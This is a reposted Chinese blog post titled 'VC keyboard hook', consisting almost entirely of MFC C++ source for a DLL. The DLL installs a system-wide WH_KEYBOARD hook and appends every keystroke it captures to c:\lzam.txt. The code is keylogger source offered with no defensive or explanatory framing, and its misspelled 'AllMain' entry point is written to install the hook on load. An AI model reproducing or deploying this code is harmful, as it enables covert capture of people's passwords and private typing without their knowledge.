VC键盘钩子wzm

DLL初始化及键盘输入记录
// hodll.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "hodll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif



HHOOK hkb=NULL;
HINSTANCE hins;



//
//    Note!
//
//        If this DLL is dynamically linked against the MFC
//        DLLs, any functions exported from this DLL which
//        call into MFC must have the AFX_MANAGE_STATE macro
//        added at the very beginning of the function.
//
//        For example:
//
//        extern "C" BOOL PASCAL EXPORT ExportedFunction()
//        {
//            AFX_MANAGE_STATE(AfxGetStaticModuleState());
//            // normal function body here
//        }
//
//        It is very important that this macro appear in each
//        function, prior to any calls into MFC.  This means that
//        it must appear as the first statement within the 
//        function, even before any object variable declarations
//        as their constructors may generate calls into the MFC
//        DLL.
//
//        Please see MFC Technical Notes 33 and 58 for additional
//        details.
//

/////////////////////////////////////////////////////////////////////////////
// CHodllApp




BOOL APIENTRY AllMain(HANDLE hModule,DWORD reason,LPVOID lpReserved)
{



installhook();
return TRUE;










}








LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc
(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    char ch;
    if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
    {
        if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam
            >=0x2f)&&(wParam<=0x100))
        {
            FILE *f1;
            f1=fopen("c:\\lzam.txt","a+");
            if(wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                BYTE ks[256];
                GetKeyboardState(ks);
                WORD w;
                UINT scan;
                scan=0;

                ToAscii(wParam,scan,ks,&w,0);
                ch=char(w);
                fwrite(&ch,1,1,f1);
            }
            fclose(f1);
        }
    }
    LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
    return RetVal;
}


extern  BOOL __declspec(dllexport)__stdcall installhook() 
{
    FILE *f1=NULL;
    f1=fopen("c:\\lzam.txt","w");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
    return TRUE;
}

BOOL __declspec(dllexport)  UnHook()
{
    BOOL unhooked=UnhookWindowsHookEx(hkb);
    return unhooked;
}






BEGIN_MESSAGE_MAP(CHodllApp, CWinApp)
    //{{AFX_MSG_MAP(CHodllApp)
        // NOTE - the ClassWizard will add and remove mapping macros here.
        //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CHodllApp construction



BOOL CHodllApp::InitInstance ()
{ 
 AFX_MANAGE_STATE(AfxGetStaticModuleState());
 hins=AfxGetInstanceHandle(); 
 return TRUE; 
}

BOOL CHodllApp::ExitInstance ()
{
 return TRUE;
}

CHodllApp::CHodllApp()
{




    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CHodllApp object


CHodllApp theApp;

 

转载于:https://www.cnblogs.com/wzm6418/p/5085354.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值